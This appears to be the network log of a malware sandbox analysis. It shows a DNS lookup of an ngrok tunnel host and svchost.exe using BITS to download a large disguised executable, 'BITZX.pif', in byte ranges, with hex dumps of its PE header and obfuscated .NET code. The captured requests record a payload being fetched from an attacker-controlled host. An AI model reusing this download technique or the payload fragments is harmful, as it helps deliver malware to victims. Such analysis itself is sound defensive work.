Jan 15, 2025 15:30:56.658529997 CET	49922	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:56.658587933 CET	443	49922	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:56.659018993 CET	49922	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:56.659070969 CET	443	49922	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:57.132790089 CET	443	49922	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:57.133097887 CET	443	49922	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:57.133306980 CET	49922	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:57.133455038 CET	49922	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:57.133455038 CET	49922	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:30:57.133511066 CET	443	49922	3.13.191.225	192.168.11.20
Jan 15, 2025 15:30:57.133533001 CET	443	49922	3.13.191.225	192.168.11.20
Jan 15, 2025 15:31:00.483206987 CET	49923	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:31:00.483319998 CET	443	49923	3.13.191.225	192.168.11.20
Jan 15, 2025 15:31:00.483639002 CET	49923	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:31:00.483639002 CET	49923	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:31:00.483797073 CET	443	49923	3.13.191.225	192.168.11.20
Jan 15, 2025 15:31:00.721177101 CET	443	49923	3.13.191.225	192.168.11.20
Jan 15, 2025 15:31:00.721764088 CET	49923	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:31:00.721786022 CET	443	49923	3.13.191.225	192.168.11.20
Jan 15, 2025 15:31:00.722592115 CET	49923	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:31:00.722626925 CET	443	49923	3.13.191.225	192.168.11.20
Jan 15, 2025 15:31:01.384721994 CET	443	49923	3.13.191.225	192.168.11.20
Jan 15, 2025 15:31:01.385019064 CET	443	49923	3.13.191.225	192.168.11.20
Jan 15, 2025 15:31:01.385236979 CET	49923	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:31:01.385411024 CET	49923	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:31:01.385411024 CET	49923	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:31:01.385473013 CET	443	49923	3.13.191.225	192.168.11.20
Jan 15, 2025 15:31:01.385494947 CET	443	49923	3.13.191.225	192.168.11.20
Jan 15, 2025 15:31:04.544946909 CET	49924	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:31:04.544998884 CET	443	49924	3.13.191.225	192.168.11.20
Jan 15, 2025 15:31:04.545332909 CET	49924	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:31:04.545388937 CET	49924	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:31:04.545406103 CET	443	49924	3.13.191.225	192.168.11.20
Jan 15, 2025 15:31:04.783855915 CET	443	49924	3.13.191.225	192.168.11.20
Jan 15, 2025 15:31:04.784471035 CET	49924	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:31:04.784560919 CET	443	49924	3.13.191.225	192.168.11.20
Jan 15, 2025 15:31:04.784893990 CET	49924	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:31:04.784940004 CET	443	49924	3.13.191.225	192.168.11.20
Jan 15, 2025 15:31:05.153729916 CET	443	49924	3.13.191.225	192.168.11.20
Jan 15, 2025 15:31:05.171614885 CET	443	49924	3.13.191.225	192.168.11.20
Jan 15, 2025 15:31:05.171797037 CET	49924	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:31:05.171869040 CET	49924	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:31:05.171869040 CET	49924	443	192.168.11.20	3.13.191.225
Jan 15, 2025 15:31:05.171922922 CET	443	49924	3.13.191.225	192.168.11.20
Jan 15, 2025 15:31:05.171947002 CET	443	49924	3.13.191.225	192.168.11.20

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 15, 2025 15:22:49.080462933 CET	51367	53	192.168.11.20	1.1.1.1
Jan 15, 2025 15:22:49.190155983 CET	53	51367	1.1.1.1	192.168.11.20

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 15, 2025 15:22:49.080462933 CET	192.168.11.20	1.1.1.1	0x887c	Standard query (0)	090125.ngrok-free.app	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jan 15, 2025 15:22:49.190155983 CET	1.1.1.1	192.168.11.20	0x887c	No error (0)	090125.ngrok-free.app	3.13.191.225	A (IP address)	IN (0x0001)	false
Jan 15, 2025 15:22:49.190155983 CET	1.1.1.1	192.168.11.20	0x887c	No error (0)	090125.ngrok-free.app	3.14.182.203	A (IP address)	IN (0x0001)	false
Jan 15, 2025 15:22:49.190155983 CET	1.1.1.1	192.168.11.20	0x887c	No error (0)	090125.ngrok-free.app	3.134.125.175	A (IP address)	IN (0x0001)	false
Jan 15, 2025 15:22:49.190155983 CET	1.1.1.1	192.168.11.20	0x887c	No error (0)	090125.ngrok-free.app	3.22.30.40	A (IP address)	IN (0x0001)	false
Jan 15, 2025 15:22:49.190155983 CET	1.1.1.1	192.168.11.20	0x887c	No error (0)	090125.ngrok-free.app	3.17.7.232	A (IP address)	IN (0x0001)	false
Jan 15, 2025 15:22:49.190155983 CET	1.1.1.1	192.168.11.20	0x887c	No error (0)	090125.ngrok-free.app	3.134.39.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

090125.ngrok-free.app

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.11.20	49757	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:22:49 UTC	154	OUT	HEAD //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:22:49 UTC	262	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:22:49 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.11.20	49758	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:22:50 UTC	226	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=0-1119 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:22:50 UTC	309	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 1120 Content-Range: bytes 0-1119/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:22:50 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:22:50 UTC	1120	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 97 6b 80 67 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 0b 00 00 e6 e5 00 00 1a 00 00 00 00 00 00 de 04 e6 00 00 20 00 00 00 20 e6 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 60 e6 00 00 02 00 00 d7 1b 5a 0c 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 0f 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELkg @ `Z@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.11.20	49759	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:22:54 UTC	229	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=1120-1289 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:22:55 UTC	311	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 170 Content-Range: bytes 1120-1289/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:22:55 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:22:55 UTC	170	IN	Data Raw: 2a 00 00 00 12 00 00 14 2a 00 00 00 12 00 00 16 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 04 00 04 00 00 00 00 00 00 00 00 00 17 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 16 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 02 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 2e 28 43 f5 00 06 28 39 f5 00 06 2a 12 00 00 17 2a 00 00 00 12 00 Data Ascii: ****0000000.(C(9**

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.11.20	49760	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:22:58 UTC	229	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=1290-2588 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:22:59 UTC	312	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 1299 Content-Range: bytes 1290-2588/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:22:59 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:22:59 UTC	1299	IN	Data Raw: 00 14 2a 00 00 00 13 30 02 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 00 2a 2e 28 43 f5 00 06 28 39 f5 00 06 2a 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 13 30 04 00 3c 04 00 00 01 00 00 11 28 43 f5 00 06 20 02 00 00 00 fe 0e 00 00 38 00 00 00 00 fe 0c 00 00 45 14 00 00 00 e8 00 00 00 41 03 00 00 dd 01 00 00 de 02 00 00 e7 00 00 00 50 03 00 00 40 02 00 00 01 02 00 00 b3 01 00 00 74 01 00 00 bd 00 00 00 6e 00 00 00 4a 00 00 00 46 01 00 00 05 00 00 00 ad 00 00 00 18 01 00 00 0d 03 00 00 ae 02 00 00 90 03 00 00 38 e3 00 00 00 20 9e 27 65 e3 20 04 00 00 00 62 20 ac b4 26 42 61 7e 36 68 00 04 7b 03 68 00 04 61 28 3d f5 00 06 80 13 00 00 04 20 08 00 00 00 7e 36 68 00 04 7b 56 68 00 04 39 6c ff ff ff 26 20 06 00 00 00 Data Ascii: 00.(C(9**0<(C 8EAP@tnJF8 'e b &Ba~6h{ha(= ~6h{Vh9l&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.11.20	49761	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:22:59 UTC	229	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=2589-2748 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:23:00 UTC	311	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 160 Content-Range: bytes 2589-2748/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:23:00 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:23:00 UTC	160	IN	Data Raw: 00 e6 05 00 00 05 00 00 00 72 06 00 00 c2 06 00 00 b4 05 00 00 31 06 00 00 fc 06 00 00 0b 06 00 00 9d 06 00 00 e6 06 00 00 0c 06 00 00 60 02 00 00 37 02 00 00 88 06 00 00 38 08 08 00 00 00 11 00 73 2a 00 00 0a 7e 68 68 00 04 28 a3 f9 00 06 7e 69 68 00 04 28 a7 f9 00 06 13 04 20 05 00 00 00 7e 36 68 00 04 7b e4 67 00 04 3a 0f 00 00 00 26 20 02 00 00 00 38 04 00 00 00 fe 0c 0d 00 45 09 00 00 00 25 01 00 00 a9 00 00 00 0f 01 00 00 3f 00 00 00 05 00 00 00 6f 00 00 00 49 01 00 00 Data Ascii: r1`78s*~hh(~ih( ~6h{g:& 8E%?oI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.11.20	49762	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:23:03 UTC	229	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=2749-2817 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:23:03 UTC	310	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 69 Content-Range: bytes 2749-2817/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:23:03 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:23:04 UTC	69	IN	Data Raw: d9 00 00 00 56 00 00 00 38 20 01 00 00 11 00 7e 4e 00 00 04 7e 6e 68 00 04 28 bb f9 00 06 7e 6f 68 00 04 28 bf f9 00 06 20 06 00 00 00 7e 36 68 00 04 7b 22 68 00 04 39 a3 ff ff ff 26 20 03 00 00 00 38 98 ff Data Ascii: V8 ~N~nh(~oh( ~6h{"h9& 8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.11.20	49763	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:23:06 UTC	229	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=2818-2998 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:23:07 UTC	311	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 181 Content-Range: bytes 2818-2998/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:23:06 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:23:07 UTC	181	IN	Data Raw: ff ff 11 00 73 2a 00 00 0a 13 05 20 02 00 00 00 fe 0e 0d 00 38 7d ff ff ff 20 e8 03 00 00 7e 61 68 00 04 28 87 f9 00 06 20 04 00 00 00 38 68 ff ff ff 11 04 7e 62 68 00 04 28 8b f9 00 06 7e 6a 68 00 04 28 ab f9 00 06 39 4f 00 00 00 20 00 00 00 00 7e 36 68 00 04 7b 0e 68 00 04 3a 39 ff ff ff 26 20 00 00 00 00 38 2e ff ff ff 11 00 7e 6c 68 00 04 28 b3 f9 00 06 39 9c ff ff ff 20 01 00 00 00 7e 36 68 00 04 7b 25 68 00 04 3a 09 ff ff ff 26 20 03 00 00 00 38 fe fe ff ff 11 04 7e 62 68 00 04 28 8b f9 00 06 7e 6b 68 00 04 28 af f9 00 06 26 20 01 Data Ascii: s* 8} ~ah( 8h~bh(~jh(9O ~6h{h:9& 8.~lh(9 ~6h{%h:& 8~bh(~kh(&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.11.20	49764	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:23:09 UTC	229	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=2999-3377 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:23:10 UTC	311	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 379 Content-Range: bytes 2999-3377/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:23:10 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:23:10 UTC	379	IN	Data Raw: 00 00 00 7e 36 68 00 04 7b 51 68 00 04 3a d3 fe ff ff 26 20 00 00 00 00 38 c8 fe ff ff 11 05 7e 6d 68 00 04 28 b7 f9 00 06 20 08 00 00 00 38 b2 fe ff ff 38 7f ff ff ff 20 07 00 00 00 7e 36 68 00 04 7b 1a 68 00 04 3a 99 fe ff ff 26 20 02 00 00 00 38 8e fe ff ff dd 40 05 00 00 25 7e 64 68 00 04 28 93 f9 00 06 13 09 20 00 00 00 00 7e 36 68 00 04 7b 38 68 00 04 3a 0f 00 00 00 26 20 01 00 00 00 38 04 00 00 00 fe 0c 06 00 45 02 00 00 00 2e 00 00 00 05 00 00 00 38 29 00 00 00 7e 66 68 00 04 28 9b f9 00 06 20 00 00 00 00 7e 36 68 00 04 7b 11 68 00 04 3a d0 ff ff ff 26 20 00 00 00 00 38 c5 ff ff ff dd d0 04 00 00 20 0a 00 00 00 38 7c fd ff ff 28 59 01 00 06 3a f0 03 00 00 20 0b 00 00 00 7e 36 68 00 04 7b 3c 68 00 04 3a 5e fd ff ff 26 20 11 00 00 00 38 53 fd ff ff Data Ascii: ~6h{Qh:& 8~mh( 88 ~6h{h:& 8@%~dh( ~6h{8h:& 8E.8)~fh( ~6h{h:& 8 8\|(Y: ~6h{<h:^& 8S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.11.20	49765	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:23:11 UTC	229	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=3378-3816 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:23:12 UTC	311	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 439 Content-Range: bytes 3378-3816/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:23:12 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:23:12 UTC	439	IN	Data Raw: 00 00 04 20 08 00 00 00 7e 36 68 00 04 7b 3b 68 00 04 3a 95 ff ff ff 26 20 01 00 00 00 38 8a ff ff ff 7e 14 00 00 04 28 3b 01 00 06 7e 62 68 00 04 28 8b f9 00 06 80 14 00 00 04 20 00 00 00 00 7e 36 68 00 04 7b 50 68 00 04 39 5d ff ff ff 26 20 00 00 00 00 38 52 ff ff ff 7e 12 00 00 04 28 3b 01 00 06 7e 62 68 00 04 28 8b f9 00 06 80 12 00 00 04 20 06 00 00 00 7e 36 68 00 04 7b ea 67 00 04 39 25 ff ff ff 26 20 0b 00 00 00 38 1a ff ff ff 7e 0d 00 00 04 28 3b 01 00 06 7e 62 68 00 04 28 8b f9 00 06 80 0d 00 00 04 20 01 00 00 00 7e 36 68 00 04 7b 07 68 00 04 39 ed fe ff ff 26 20 00 00 00 00 38 e2 fe ff ff 7e 17 00 00 04 28 3b 01 00 06 7e 62 68 00 04 28 8b f9 00 06 80 17 00 00 04 20 02 00 00 00 38 bf fe ff ff 7e 19 00 00 04 28 3b 01 00 06 7e 62 68 00 04 28 8b f9 Data Ascii: ~6h{;h:& 8~(;~bh( ~6h{Ph9]& 8R~(;~bh( ~6h{g9%& 8~(;~bh( ~6h{h9& 8~(;~bh( 8~(;~bh(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.11.20	49766	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:23:13 UTC	229	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=3817-3931 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:23:14 UTC	311	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 115 Content-Range: bytes 3817-3931/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:23:14 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:23:14 UTC	115	IN	Data Raw: 7e 62 68 00 04 28 8b f9 00 06 80 18 00 00 04 20 0c 00 00 00 38 dc fd ff ff 7e 1b 00 00 04 28 3b 01 00 06 7e 62 68 00 04 28 8b f9 00 06 80 1b 00 00 04 20 09 00 00 00 38 b9 fd ff ff 7e 0e 00 00 04 28 3b 01 00 06 7e 62 68 00 04 28 8b f9 00 06 80 0e 00 00 04 20 04 00 00 00 7e 36 68 00 04 7b 02 68 00 04 39 8c fd ff ff 26 20 01 00 00 00 38 81 fd ff Data Ascii: ~bh( 8~(;~bh( 8~(;~bh( ~6h{h9& 8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.11.20	49767	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:23:18 UTC	229	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=3932-4178 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:23:18 UTC	311	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 247 Content-Range: bytes 3932-4178/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:23:18 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:23:18 UTC	247	IN	Data Raw: ff dd 2b fd ff ff 25 7e 64 68 00 04 28 93 f9 00 06 13 0e 20 01 00 00 00 7e 36 68 00 04 7b 40 68 00 04 39 0f 00 00 00 26 20 01 00 00 00 38 04 00 00 00 fe 0c 0a 00 45 03 00 00 00 43 00 00 00 05 00 00 00 1a 00 00 00 38 3e 00 00 00 16 7e 65 68 00 04 28 97 f9 00 06 20 02 00 00 00 38 d5 ff ff ff 7e 66 68 00 04 28 9b f9 00 06 20 00 00 00 00 7e 36 68 00 04 7b fd 67 00 04 39 b7 ff ff ff 26 20 00 00 00 00 38 ac ff ff ff dd a2 fc ff ff 20 10 00 00 00 7e 36 68 00 04 7b 32 68 00 04 3a 0a fa ff ff 26 20 00 00 00 00 38 ff f9 ff ff 14 fe 06 3c 00 00 06 73 2b 00 00 0a 73 2c 00 00 0a 13 02 20 0d 00 00 00 7e 36 68 00 04 7b 20 68 00 04 3a d8 f9 ff ff 26 20 0a 00 00 00 38 cd f9 ff ff 14 fe 06 3a 00 00 06 73 2b 00 00 0a 73 2c 00 00 0a 7e 75 68 00 04 28 Data Ascii: +%~dh( ~6h{@h9& 8EC8>~eh( 8~fh( ~6h{g9& 8 ~6h{2h:& 8<s+s, ~6h{ h:& 8:s+s,~uh(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.11.20	49768	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:23:21 UTC	229	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=4179-4414 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:23:21 UTC	311	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 236 Content-Range: bytes 4179-4414/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:23:20 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:23:21 UTC	236	IN	Data Raw: d7 f9 00 06 20 07 00 00 00 38 a8 f9 ff ff 2a 14 fe 06 39 00 00 06 73 2b 00 00 0a 73 2c 00 00 0a 7e 75 68 00 04 28 d7 f9 00 06 20 04 00 00 00 38 82 f9 ff ff 7e 13 00 00 04 20 02 9e dd cd 20 5c 78 20 65 59 20 42 26 d4 6e 61 7e 36 68 00 04 7b 18 68 00 04 61 28 3d f5 00 06 7e 14 00 00 04 7e 67 68 00 04 28 9f f9 00 06 13 00 20 05 00 00 00 38 41 f9 ff ff 11 02 7e 76 68 00 04 28 db f9 00 06 20 0b 00 00 00 38 2b f9 ff ff 16 7e 65 68 00 04 28 97 f9 00 06 20 09 00 00 00 38 16 f9 ff ff 11 02 7e 75 68 00 04 28 d7 f9 00 06 20 06 00 00 00 38 00 f9 ff ff 28 4d 01 00 06 20 0e 00 00 00 38 f1 f8 ff ff 28 38 00 00 06 20 02 00 00 00 7e 36 68 00 04 7b 23 68 00 04 3a d8 f8 ff ff 26 20 02 00 00 00 38 cd f8 ff ff 11 01 7e Data Ascii: 8*9s+s,~uh( 8~ \x eY B&na~6h{ha(=~~gh( 8A~vh( 8+~eh( 8~uh( 8(M 8(8 ~6h{#h:& 8~

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.11.20	49769	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:23:24 UTC	229	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=4415-4562 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:23:24 UTC	311	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 148 Content-Range: bytes 4415-4562/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:23:24 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
2025-01-15 14:23:24 UTC	148	IN	Data Raw: 75 68 00 04 28 d7 f9 00 06 20 0c 00 00 00 38 b7 f8 ff ff 00 28 0f 00 00 06 7e 70 68 00 04 28 c3 f9 00 06 7e 71 68 00 04 28 c7 f9 00 06 20 51 a5 98 79 20 02 00 00 00 62 20 ef a7 9f b0 61 7e 36 68 00 04 7b fa 67 00 04 61 28 3d f5 00 06 17 7e 72 68 00 04 28 cb f9 00 06 7e 14 00 00 04 7e 73 68 00 04 28 cf f9 00 06 11 00 7e 74 68 00 04 28 d3 f9 00 06 20 00 00 00 00 7e 36 68 00 04 7b 53 68 00 04 3a 0f 00 00 00 26 20 00 00 00 00 38 04 00 00 00 fe Data Ascii: uh( 8(~ph(~qh( Qy b a~6h{ga(=~rh(~~sh(~th( ~6h{Sh:& 8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.11.20	49770	3.13.191.225	443	8660	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:23:27 UTC	229	OUT	GET //BITZX.pif HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Thu, 09 Jan 2025 16:00:06 GMT Range: bytes=4563-4720 User-Agent: Microsoft BITS/7.8 Host: 090125.ngrok-free.app
2025-01-15 14:23:27 UTC	311	IN	HTTP/1.1 206 Partial Content Accept-Ranges: bytes Content-Length: 158 Content-Range: bytes 4563-4720/207219696 Content-Type: application/octet-stream Date: Wed, 15 Jan 2025 14:23:27 GMT Etag: "263673656" Last-Modified: Thu, 09 Jan 2025 16:00:06 GMT Server: lighttpd/1.4.49 (win64) Connection: close
